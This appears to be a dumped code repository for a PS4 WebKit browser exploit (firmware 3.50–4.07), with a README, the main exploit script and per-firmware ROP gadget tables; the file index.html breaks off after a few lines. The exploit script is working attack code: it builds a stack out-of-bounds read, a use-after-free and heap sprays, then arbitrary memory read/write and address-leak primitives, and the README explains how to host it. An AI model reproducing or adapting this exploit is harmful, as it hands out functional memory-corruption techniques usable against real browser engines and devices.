├── README.md ├── expl.js ├── gadgets.js ├── index.html ├── rop.js └── syscalls.js /README.md: -------------------------------------------------------------------------------- 1 | PS4 4.0x Code Execution 2 | ============== 3 | This repo is my edit of the [4.0x webkit exploit](http://rce.party/ps4/) released by [qwertyoruiopz](https://twitter.com/qwertyoruiopz). The edit re-organizes, comments, and adds portability across 3.50 - 4.07 (3.50, 3.55, 3.70, 4.00, and of course 4.06/4.07). The commenting and reorganization was mostly for my own learning experience, however hopefully others can find these comments helpful and build on them or even fix them if I've made mistakes. The exploit is much more stable than FireKaku and sets up the foundation for running basic ROP chains and returns to normal execution. Credit for the exploit goes completely to qwertyoruiopz. 4 | 5 | Organization 6 | ============== 7 | Files in order by name alphabetically; 8 | * expl.js - Contains the heart of the exploit and establishes a read/write primitive. 9 | * gadgets.js - Contains gadget maps and function stub maps for a variety of firmwares. Which map is used is determined in the post-exploitation phase. 10 | * index.html - The main page for the exploit. Launches the exploit and contains post-exploitation stuff, as well as output and code execution. 11 | * rop.js - Contains the ROP framework modified from Qwerty's original exploit as well as the array in which module base addresses are held and gadget addresses are calculated. 12 | * syscalls.js - Contains a system call map for a variety of firmwares as well as a 'name -> number' map for syscall ID's. 13 | 14 | Usage 15 | ============== 16 | Simply setup a web-server on localhost using xampp or any other program and setup these files in a directory. You can then go to your computer's local IPv4 address (found by running ipconfig in cmd.exe) and access the exploit. 17 | 18 | Notes 19 | ============== 20 | * The exploit is pretty stable but will still sometimes crash. If the browser freezes simply back out and retry, if a segmentation fault (identified by prompt "You do not have enough free system memory") occurs, refresh the page before trying again as it seems to lead to better results. 21 | * This only allows code execution in ring3, to get ring0 execution a kernel exploit and KROP chain is needed. 22 | * If I've made an error (particularily having to do with firmware compatibility and gadgets) feel free to open an issue on the repo. 23 | * The exploit has been tested on 3.55 and 4.00, it is assumed to work on other firmwares listed but not guaranteed, again if you encounter a problem - open an issue on the repo. 24 | 25 | Credits 26 | ============== 27 | qwertyoruiopz - The original exploit, the likes of which can be found [here](http://rce.party/ps4/). 28 | -------------------------------------------------------------------------------- /expl.js: -------------------------------------------------------------------------------- 1 | /* Set up variables that will be used later on */ 2 | var _dview; 3 | 4 | /* 5 | Zero out a buffer 6 | */ 7 | function zeroFill( number, width ) 8 | { 9 | width -= number.toString().length; 10 | if ( width > 0 ) 11 | { 12 | return new Array( width + (/\./.test( number ) ? 2 : 1) ).join( '0' ) + number; 13 | } 14 | return number + ""; // always return a string 15 | } 16 | 17 | /* 18 | Int64 library for address operations 19 | */ 20 | function int64(low,hi) { 21 | this.low = (low>>>0); 22 | this.hi = (hi>>>0); 23 | this.add32inplace = function(val) { 24 | var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0; 25 | var new_hi = (this.hi >>> 0); 26 | if (new_lo < this.low) { 27 | new_hi++; 28 | } 29 | this.hi=new_hi; 30 | this.low=new_lo; 31 | } 32 | this.add32 = function(val) { 33 | var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0; 34 | var new_hi = (this.hi >>> 0); 35 | if (new_lo < this.low) { 36 | new_hi++; 37 | } 38 | return new int64(new_lo, new_hi); 39 | } 40 | this.sub32 = function(val) { 41 | var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0; 42 | var new_hi = (this.hi >>> 0); 43 | if (new_lo > (this.low) & 0xFFFFFFFF) { 44 | new_hi--; 45 | } 46 | return new int64(new_lo, new_hi); 47 | } 48 | this.sub32inplace = function(val) { 49 | var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0; 50 | var new_hi = (this.hi >>> 0); 51 | if (new_lo > (this.low) & 0xFFFFFFFF) { 52 | new_hi--; 53 | } 54 | this.hi=new_hi; 55 | this.low=new_lo; 56 | } 57 | this.and32 = function(val) { 58 | var new_lo = this.low & val; 59 | var new_hi = this.hi; 60 | return new int64(new_lo, new_hi); 61 | } 62 | this.and64 = function(vallo, valhi) { 63 | var new_lo = this.low & vallo; 64 | var new_hi = this.hi & valhi; 65 | return new int64(new_lo, new_hi); 66 | } 67 | this.toString = function(val) { 68 | val = 16; // eh 69 | var lo_str = (this.low >>> 0).toString(val); 70 | var hi_str = (this.hi >>> 0).toString(val); 71 | if(this.hi == 0) return lo_str; 72 | else { 73 | lo_str = zeroFill(lo_str, 8) 74 | } 75 | return hi_str+lo_str; 76 | } 77 | this.toPacked = function() { 78 | return {hi: this.hi, low: this.low}; 79 | } 80 | this.setPacked = function(pck) { 81 | this.hi=pck.hi; 82 | this.low=pck.low; 83 | return this; 84 | } 85 | 86 | return this; 87 | } 88 | 89 | var memPressure = new Array(400); // For forcing GC via memory pressure 90 | var stackFrame = []; // Our fake stack in memory 91 | var frameIndex = 0; // Set index in fake stack to 0 (0xFF00) 92 | var stackPeek = 0; 93 | 94 | /* Force garbage collection via memory pressure */ 95 | var doGarbageCollection = function() 96 | { 97 | /* Apply memory pressure */ 98 | for (var i = 0; i < memPressure.length; i++) 99 | { 100 | memPressure[i] = new Uint32Array(0x10000); 101 | } 102 | 103 | /* Zero out the buffer */ 104 | for (var i = 0; i < memPressure.length; i++) 105 | { 106 | memPressure[i] = 0; 107 | } 108 | } 109 | 110 | /* For peeking the stack (reading) */ 111 | function peek_stack() 112 | { 113 | var mem; 114 | var retno; 115 | var oldRetno; 116 | 117 | /* Set arguments.length to return 0xFFFF on first call, and 1 on subsequent calls */ 118 | retno = 0xFFFF; 119 | 120 | arguments.length = 121 | { 122 | valueOf: function() 123 | { 124 | oldRetno = retno; 125 | retno = 1; 126 | return oldRetno; 127 | } 128 | } 129 | 130 | /* 131 | What this essentially does is when function.prototype.apply() is called, it will 132 | check arguments length. Where it should return 1 (the actual size), it actually 133 | returns 0xFFFF due to the function above. This allows an out-of-bounds read 134 | on the stack, and allows us to control uninitialized memory regions 135 | */ 136 | var args = arguments; 137 | 138 | (function() { 139 | (function() { 140 | (function() { 141 | mem = arguments[0xFF00]; 142 | }).apply(undefined, args); 143 | }).apply(undefined, stackFrame); 144 | }).apply(undefined, stackFrame); 145 | 146 | stackPeek = mem; 147 | 148 | return mem; 149 | } 150 | 151 | /* For poking the stack (writing) */ 152 | function poke_stack(val) 153 | { 154 | /* Set stack frame value @ frameIndex */ 155 | stackFrame[frameIndex] = val; 156 | 157 | /* Apply to uninitialized memory region on the stack */ 158 | (function() { 159 | (function() { 160 | (function() { 161 | }).apply(null, stackFrame); 162 | }).apply(null, stackFrame); 163 | }).apply(null, stackFrame); 164 | 165 | /* Clear value in stack frame @ frameIndex as it's been applied already */ 166 | stackFrame[frameIndex] = ""; 167 | } 168 | 169 | /* Run exploit PoC */ 170 | function run() { 171 | try 172 | { 173 | /* 174 | Set each integer in the stackframe to it's index, this way we can peek 175 | the stack to align it 176 | */ 177 | for(var i = 0; i < 0xFFFF; i++) 178 | { 179 | stackFrame[i] = i; 180 | } 181 | 182 | /* 183 | Attempt to poke and peek the stack. If the peek returns null, it means 184 | the out-of-bounds read failed, throw an exception and catch it. 185 | */ 186 | frameIndex = 0; 187 | poke_stack(0); 188 | 189 | if (peek_stack() == undefined) { 190 | throw "System is not vulnerable!"; 191 | } 192 | 193 | /* Setup our stack frame so our target object reference resides inside of it */ 194 | frameIndex = 0; 195 | poke_stack(0); 196 | 197 | peek_stack(); 198 | frameIndex = stackPeek; 199 | 200 | /* Align the stack frame */ 201 | poke_stack(0x4141); 202 | 203 | for (var align = 0; align < 8; align++) 204 | (function(){})(); 205 | 206 | /* Test if we aligned our stack frame properly, if not throw exception and catch */ 207 | peek_stack(); 208 | 209 | if (stackPeek != 0x4141) 210 | { 211 | throw "Couldn't align stack frame to stack!"; 212 | } 213 | 214 | /* Setup spray to overwrite the length header in UAF'd object's butterfly */ 215 | var butterflySpray = new Array(0x1000); 216 | 217 | for (var i = 0; i < 0x1000; i++) 218 | { 219 | butterflySpray[i] = []; 220 | 221 | for (var k = 0; k < 0x40; k++) 222 | { 223 | butterflySpray[i][k] = 0x42424242; 224 | } 225 | 226 | butterflySpray[i].unshift(butterflySpray[i].shift()); 227 | } 228 | 229 | /* Spray marked space */ 230 | var sprayOne = new Array(0x100); 231 | 232 | for (var i = 0; i < 0x100; i++) 233 | { 234 | sprayOne[i] = [1]; 235 | 236 | if (!(i & 3)) 237 | { 238 | for (var k = 0; k < 0x8; k++) 239 | { 240 | sprayOne[i][k] = 0x43434343; 241 | } 242 | } 243 | 244 | sprayOne[i].unshift(sprayOne[i].shift()); 245 | } 246 | 247 | var sprayTwo = new Array(0x400); 248 | 249 | for (var i = 0; i < 0x400; i++) 250 | { 251 | sprayTwo[i] = [2]; 252 | 253 | if (!(i & 3)) 254 | { 255 | for (var k = 0; k < 0x80; k++) 256 | { 257 | sprayTwo[i][k] = 0x43434343; 258 | } 259 | } 260 | 261 | sprayTwo[i].unshift(sprayTwo[i].shift()); 262 | } 263 | 264 | /* Setup target object for UAF, spray */ 265 | var uafTarget = []; 266 | 267 | for (var i = 0; i < 0x80; i++) { 268 | uafTarget[i] = 0x42420000; 269 | } 270 | 271 | /* Store target on the stack to maintain a reference after forced garbage collection */ 272 | poke_stack(uafTarget); 273 | 274 | /* Remove references so they're free'd when garbage collection occurs */ 275 | uafTarget = 0; 276 | sprayOne = 0; 277 | sprayTwo = 0; 278 | 279 | /* Force garbage collection */ 280 | for (var k = 0; k < 4; k++) 281 | doGarbageCollection(); 282 | 283 | /* Re-collect our maintained reference from the stack */ 284 | peek_stack(); 285 | uafTarget = stackPeek; 286 | 287 | stackPeek = 0; 288 | 289 | /* 290 | We now have access to uninitialized memory, force a heap overflow by 291 | overwriting the "length" field of our UAF'd object's butterfly via spraying 292 | */ 293 | for (var i = 0; i < 0x1000; i++) 294 | { 295 | for (var k = 0x0; k < 0x80; k++) 296 | { 297 | butterflySpray[i][k] = 0x7FFFFFFF; 298 | 299 | /* 300 | Find our UAF'd object via modified length, which should be the maximum 301 | value for a 32-bit integer. If it is, we've successfully modified our 302 | butterfly's length header! 303 | */ 304 | if (uafTarget.length == 0x7FFFFFFF) 305 | { 306 | /* Store index of butterfly for UAF'd object for primitiveSpray */ 307 | var butterflyIndex = i; 308 | 309 | /* Remove all references except what we need to free memory */ 310 | for (var i = 0; i < butterflyIndex; i++) 311 | butterflySpray[i] = 0; 312 | 313 | for (var i = butterflyIndex + 1; i < 0x1000; i++) 314 | butterflySpray[i] = 0; 315 | 316 | doGarbageCollection(); 317 | 318 | /* Spray to obtain a read/write primitive */ 319 | var primitiveSpray = new Array(0x20000); 320 | var potentialPrim = new ArrayBuffer(0x1000); 321 | 322 | for (var i = 0; i < 0x20000; i++) 323 | { 324 | primitiveSpray[i] = i; 325 | } 326 | 327 | var overlap = new Array(0x80); 328 | 329 | /* Setup potential uint32array slaves for our read/write primitive */ 330 | for (var i = 0; i < 0x20000; i++) 331 | { 332 | primitiveSpray[i] = new Uint32Array(potentialPrim); 333 | } 334 | 335 | /* Find a slave uint32array from earlier spray */ 336 | var currentQword = 0x10000; 337 | var found = false; 338 | var smashedButterfly = new int64(0,0); 339 | var origData = new int64(0, 0); 340 | var locateHelper = new int64(0, 0); 341 | 342 | while (!found) 343 | { 344 | /* 345 | Change qword value for uint32array size to 0x1337 in UAF'd object 346 | to defeat U-ASLR 347 | */ 348 | var savedVal = uafTarget[currentQword]; 349 | uafTarget[currentQword] = 0x1337; 350 | 351 | /* Check sprayed uint32array slaves for modified size */ 352 | for (var i = 0; i < 0x20000; i++) 353 | { 354 | if (primitiveSpray[i] && primitiveSpray[i].byteLength != 0x1000) 355 | { 356 | /* 357 | Found our primitive! Restore uint32array size as 0x1000 is 358 | sufficient. 359 | */ 360 | uafTarget[currentQword] = savedVal; 361 | 362 | var primitive = primitiveSpray[i]; 363 | var overlap = [1337]; 364 | 365 | uafTarget[currentQword - 5] = overlap; 366 | 367 | smashedButterfly.low = primitive[2]; 368 | smashedButterfly.hi = primitive[3]; 369 | smashedButterfly.keep_gc = overlap; 370 | 371 | /* Find previous ArrayBufferView */ 372 | uafTarget[currentQword - 5] = uafTarget[currentQword - 2]; 373 | 374 | butterflySpray[butterflyIndex][k] = 0; 375 | 376 | origData.low = primitive[4]; 377 | origData.hi = primitive[5]; 378 | 379 | primitive[4] = primitive[12]; 380 | primitive[5] = primitive[13]; 381 | primitive[14] = 0x40; 382 | 383 | /* Find our uint32array slave for writing values */ 384 | var slave = undefined; 385 | 386 | for (var k = 0; k < 0x20000; k++) 387 | { 388 | if (primitiveSpray[k].length == 0x40) 389 | { 390 | slave = primitiveSpray[k]; 391 | break; 392 | } 393 | } 394 | 395 | if(!slave) 396 | throw "Could not find slave for write primitive!"; 397 | 398 | /* Set primitive address to that of the smashed butterfly's */ 399 | primitive[4] = smashedButterfly.low; 400 | primitive[5] = smashedButterfly.hi; 401 | 402 | /* Setup primitive and slave for primitive functions */ 403 | overlap[0] = uafTarget; 404 | 405 | var targetEntry = new int64(slave[0], slave[1]); 406 | 407 | primitive[4] = targetEntry.low; 408 | primitive[5] = targetEntry.hi; 409 | slave[2] = 0; 410 | slave[3] = 0; 411 | 412 | /* Clear references for future collection from GC */ 413 | uafTarget = 0; 414 | primitiveSpray = 0; 415 | 416 | /* Finally restore primitive address to it's original state */ 417 | primitive[4] = origData.low; 418 | primitive[5] = origData.hi; 419 | 420 | /* 421 | Derive primitive functions 422 | */ 423 | 424 | /* Purpose: Leak object addresses for ASLR defeat */ 425 | var leakval = function(obj) 426 | { 427 | primitive[4] = smashedButterfly.low; 428 | primitive[5] = smashedButterfly.hi; 429 | 430 | overlap[0] = obj; 431 | 432 | var val = new int64(slave[0], slave[1]); 433 | 434 | slave[0] = 1337; 435 | slave[1] = 0xffff0000; 436 | 437 | primitive[4] = origData.low; 438 | primitive[5] = origData.hi; 439 | 440 | return val; 441 | } 442 | 443 | /* Purpose: Create a value (used for checking the primitive) */ 444 | var createval = function(val) 445 | { 446 | primitive[4] = smashedButterfly.low; 447 | primitive[5] = smashedButterfly.hi; 448 | 449 | slave[0] = val.low; 450 | slave[1] = val.hi; 451 | 452 | var val = overlap[0]; 453 | 454 | slave[0] = 1337; 455 | slave[1] = 0xffff0000; 456 | 457 | primitive[4] = origData.low; 458 | primitive[5] = origData.hi; 459 | 460 | return val; 461 | } 462 | 463 | /* Purpose: Read 32-bits (or 4 bytes) from address */ 464 | var read32 = function(addr) 465 | { 466 | primitive[4] = addr.low; 467 | primitive[5] = addr.hi; 468 | 469 | var val = slave[0]; 470 | 471 | primitive[4] = origData.low; 472 | primitive[5] = origData.hi; 473 | 474 | return val; 475 | } 476 | 477 | /* Purpose: Read 64-bits (or 8 bytes) from address */ 478 | var read64 = function(addr) 479 | { 480 | primitive[4] = addr.low; 481 | primitive[5] = addr.hi; 482 | 483 | var val = new int64(slave[0], slave[1]); 484 | 485 | primitive[4] = origData.low; 486 | primitive[5] = origData.hi; 487 | 488 | return val; 489 | } 490 | 491 | /* Purpose: Write 32-bits (or 4 bytes) to address */ 492 | var write32 = function(addr, val) 493 | { 494 | primitive[4] = addr.low; 495 | primitive[5] = addr.hi; 496 | 497 | slave[0] = val; 498 | 499 | primitive[4] = origData.low; 500 | primitive[5] = origData.hi; 501 | } 502 | 503 | /* Purpose: Write 64-bits (or 8 bytes) to address */ 504 | var write64 = function(addr, val) 505 | { 506 | primitive[4] = addr.low; 507 | primitive[5] = addr.hi; 508 | 509 | if (val == undefined) 510 | { 511 | val = new int64(0,0); 512 | } 513 | if (!(val instanceof int64)) 514 | { 515 | val = new int64(val,0); 516 | } 517 | 518 | slave[0] = val.low; 519 | slave[1] = val.hi; 520 | 521 | primitive[4] = origData.low; 522 | primitive[5] = origData.hi; 523 | } 524 | 525 | if (createval(leakval(0x1337)) != 0x1337) { 526 | throw "Primitive is broken, jsvalue leaked does not match jsvalue created!"; 527 | } 528 | 529 | var testData = [1,2,3,4,5,6,7,8]; 530 | 531 | var testAddr = leakval(testData); 532 | 533 | var butterflyAddr = read64(testAddr.add32(8)); 534 | 535 | if ((butterflyAddr.low == 0 && butterflyAddr.hi == 0) || createval(read64(butterflyAddr)) != 1) { 536 | throw "Primitive is broken, either butterfly address is null or object is not a valid jsvalue!"; 537 | } 538 | 539 | if (window.postexploit) { 540 | window.postexploit({ 541 | read4: read32, 542 | read8: read64, 543 | write4: write32, 544 | write8: write64, 545 | leakval: leakval, 546 | createval: createval 547 | }); 548 | } 549 | return 2; 550 | } 551 | } 552 | uafTarget[currentQword] = savedVal; 553 | currentQword ++; 554 | } 555 | } 556 | } 557 | } 558 | /* 559 | If we ended up here, the exploit failed to find our resized object/we were 560 | not able to modify the UaF'd target's length :( 561 | */ 562 | return 1; 563 | } 564 | catch (e) 565 | { 566 | alert(e); 567 | } 568 | } 569 | 570 | window.onload = function() { document.getElementById("clck").innerHTML = 'go'; }; 571 | -------------------------------------------------------------------------------- /gadgets.js: -------------------------------------------------------------------------------- 1 | /* For storing the gadget and import map */ 2 | window.gadgetMap = []; 3 | window.basicImportMap = []; 4 | 5 | /* All function stubs / imports from other modules */ 6 | var generateBasicImportMap = function() 7 | { 8 | window.basicImportMap = 9 | { 10 | '3.50': 11 | { 12 | 'setjmp': getGadget('libSceWebKit2', 0x2B8), // setjmp imported from libkernel 13 | '__stack_chk_fail': getGadget('libSceWebKit2', 0x276D150), // __stack_chk_fail imported from libkernel 14 | }, 15 | 16 | '3.55': 17 | { 18 | 'setjmp': getGadget('libSceWebKit2', 0x2B8), // setjmp imported from libkernel 19 | '__stack_chk_fail': getGadget('libSceWebKit2', 0x276D150), // __stack_chk_fail imported from libkernel 20 | }, 21 | 22 | '3.70': 23 | { 24 | 'setjmp': getGadget('libSceWebKit2', 0x2B8), // setjmp imported from libkernel 25 | '__stack_chk_fail': getGadget('libSceWebKit2', 0x276D150), // __stack_chk_fail imported from libkernel 26 | }, 27 | 28 | '4.00': 29 | { 30 | 'setjmp': getGadget('libSceWebKit2', 0x270), // setjmp imported from libkernel 31 | '__stack_chk_fail': getGadget('libSceWebKit2', 0x2729260), // __stack_chk_fail imported from libkernel 32 | }, 33 | 34 | '4.06': 35 | { 36 | 'setjmp': getGadget('libSceWebKit2', 0x270), // setjmp imported from libkernel 37 | '__stack_chk_fail': getGadget('libSceWebKit2', 0x273D260), // __stack_chk_fail imported from libkernel 38 | }, 39 | 40 | '4.07': 41 | { 42 | 'setjmp': getGadget('libSceWebKit2', 0x270), // setjmp imported from libkernel 43 | '__stack_chk_fail': getGadget('libSceWebKit2', 0x273D260), // __stack_chk_fail imported from libkernel 44 | } 45 | }; 46 | } 47 | 48 | /* All gadgets from the binary of available modules */ 49 | var generateGadgetMap = function() 50 | { 51 | window.gadgetMap = 52 | { 53 | '3.50': 54 | { 55 | 'pop rsi': getGadget('libSceWebKit2', 0xB9EBB), 56 | 'pop rdi': getGadget('libSceWebKit2', 0x113991), 57 | 'pop rax': getGadget('libSceWebKit2', 0x1C6AB), 58 | 'pop rcx': getGadget('libSceWebKit2', 0x3CA9FD), 59 | 'pop rdx': getGadget('libSceWebKit2', 0x1AFA), 60 | 'pop r8': getGadget('libSceWebKit2', 0x4C13BD), 61 | 'pop r9': getGadget('libSceWebKit2', 0xEE0A8F), 62 | 'pop rsp': getGadget('libSceWebKit2', 0x376850), 63 | 64 | 'mov rax, rdi': getGadget('libSceWebKit2', 0x57C3), 65 | 'mov qword ptr [rdi], rax': getGadget('libSceWebKit2', 0x11FC37), 66 | 'mov qword ptr [rdi], rsi': getGadget('libSceWebKit2', 0x4584D0), 67 | 68 | 'jmp addr': getGadget('libSceWebKit2', 0x86D4F4), 69 | }, 70 | 71 | '3.55': 72 | { 73 | 'pop rsi': getGadget('libSceWebKit2', 0xB9EBB), 74 | 'pop rdi': getGadget('libSceWebKit2', 0x113991), 75 | 'pop rax': getGadget('libSceWebKit2', 0x1C6AB), 76 | 'pop rcx': getGadget('libSceWebKit2', 0x3CA9FD), 77 | 'pop rdx': getGadget('libSceWebKit2', 0x1AFA), 78 | 'pop r8': getGadget('libSceWebKit2', 0x4C13BD), 79 | 'pop r9': getGadget('libSceWebKit2', 0xEE0A8F), 80 | 'pop rsp': getGadget('libSceWebKit2', 0x376850), 81 | 82 | 'mov rax, rdi': getGadget('libSceWebKit2', 0x57C3), 83 | 'mov qword ptr [rdi], rax': getGadget('libSceWebKit2', 0x11FC37), 84 | 'mov qword ptr [rdi], rsi': getGadget('libSceWebKit2', 0x4584D0), 85 | 86 | 'jmp addr': getGadget('libSceWebKit2', 0x86D4F4), 87 | }, 88 | 89 | '3.70': 90 | { 91 | 'pop rsi': getGadget('libSceWebKit2', 0xB9EBB), 92 | 'pop rdi': getGadget('libSceWebKit2', 0x113991), 93 | 'pop rax': getGadget('libSceWebKit2', 0x1C6AB), 94 | 'pop rcx': getGadget('libSceWebKit2', 0x3CA71B), 95 | 'pop rdx': getGadget('libSceWebKit2', 0x1AFA), 96 | 'pop r8': getGadget('libSceWebKit2', 0x1C6AA), 97 | 'pop r9': getGadget('libSceWebKit2', 0xEE0A8F), 98 | 'pop rsp': getGadget('libSceWebKit2', 0x376850), 99 | 100 | 'mov rax, rdi': getGadget('libSceWebKit2', 0x57C3), 101 | 'mov qword ptr [rdi], rax': getGadget('libSceWebKit2', 0x11FC37), 102 | 'mov qword ptr [rdi], rsi': getGadget('libSceWebKit2', 0x4584D0), 103 | 104 | 'jmp addr': getGadget('libSceWebKit2', 0x86D4F4), 105 | }, 106 | 107 | '4.00': 108 | { 109 | 'pop rsi': getGadget('libSceWebKit2', 0xA459E), 110 | 'pop rdi': getGadget('libSceWebKit2', 0x10F1C1), 111 | 'pop rax': getGadget('libSceWebKit2', 0x1D70B), 112 | 'pop rcx': getGadget('libSceWebKit2', 0x1FCA9B), 113 | 'pop rdx': getGadget('libSceWebKit2', 0xD6660), 114 | 'pop r8': getGadget('libSceWebKit2', 0x4A3B0D), 115 | 'pop r9': getGadget('libSceWebKit2', 0xEB5F8F), 116 | 'pop rsp': getGadget('libSceWebKit2', 0x20AEB0), 117 | 118 | 'mov rax, rdi': getGadget('libSceWebKit2', 0x5863), 119 | 'mov qword ptr [rdi], rax': getGadget('libSceWebKit2', 0x11ADD7), 120 | 'mov qword ptr [rdi], rsi': getGadget('libSceWebKit2', 0x43CF70), 121 | 122 | 'jmp addr': getGadget('libSceWebKit2', 0x852624), 123 | }, 124 | 125 | '4.06': 126 | { 127 | 'pop rsi': getGadget('libSceWebKit2', 0xA459E), 128 | 'pop rdi': getGadget('libSceWebKit2', 0x10F1C1), 129 | 'pop rax': getGadget('libSceWebKit2', 0x1D70B), 130 | 'pop rcx': getGadget('libSceWebKit2', 0x25EF03), 131 | 'pop rdx': getGadget('libSceWebKit2', 0x1D12), 132 | 'pop r8': getGadget('libSceWebKit2', 0x1D70A), 133 | 'pop r9': getGadget('libSceWebKit2', 0xEB5F8F), 134 | 'pop rsp': getGadget('libSceWebKit2', 0x20AEB0), 135 | 136 | 'mov rax, rdi': getGadget('libSceWebKit2', 0x5863), 137 | 'mov qword ptr [rdi], rax': getGadget('libSceWebKit2', 0x11ADD7), 138 | 'mov qword ptr [rdi], rsi': getGadget('libSceWebKit2', 0x43CF70), 139 | 140 | 'jmp addr': getGadget('libSceWebKit2', 0x852624), 141 | }, 142 | 143 | '4.07': 144 | { 145 | 'pop rsi': getGadget('libSceWebKit2', 0xA459E), 146 | 'pop rdi': getGadget('libSceWebKit2', 0x10F1C1), 147 | 'pop rax': getGadget('libSceWebKit2', 0x1D70B), 148 | 'pop rcx': getGadget('libSceWebKit2', 0x25EF03), 149 | 'pop rdx': getGadget('libSceWebKit2', 0x1D12), 150 | 'pop r8': getGadget('libSceWebKit2', 0x1D70A), 151 | 'pop r9': getGadget('libSceWebKit2', 0xEB5F8F), 152 | 'pop rsp': getGadget('libSceWebKit2', 0x20AEB0), 153 | 154 | 'mov rax, rdi': getGadget('libSceWebKit2', 0x5863), 155 | 'mov qword ptr [rdi], rax': getGadget('libSceWebKit2', 0x11ADD7), 156 | 'mov qword ptr [rdi], rsi': getGadget('libSceWebKit2', 0x43CF70), 157 | 158 | 'jmp addr': getGadget('libSceWebKit2', 0x852624), 159 | } 160 | }; 161 | } 162 | -------------------------------------------------------------------------------- /index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 |
4 |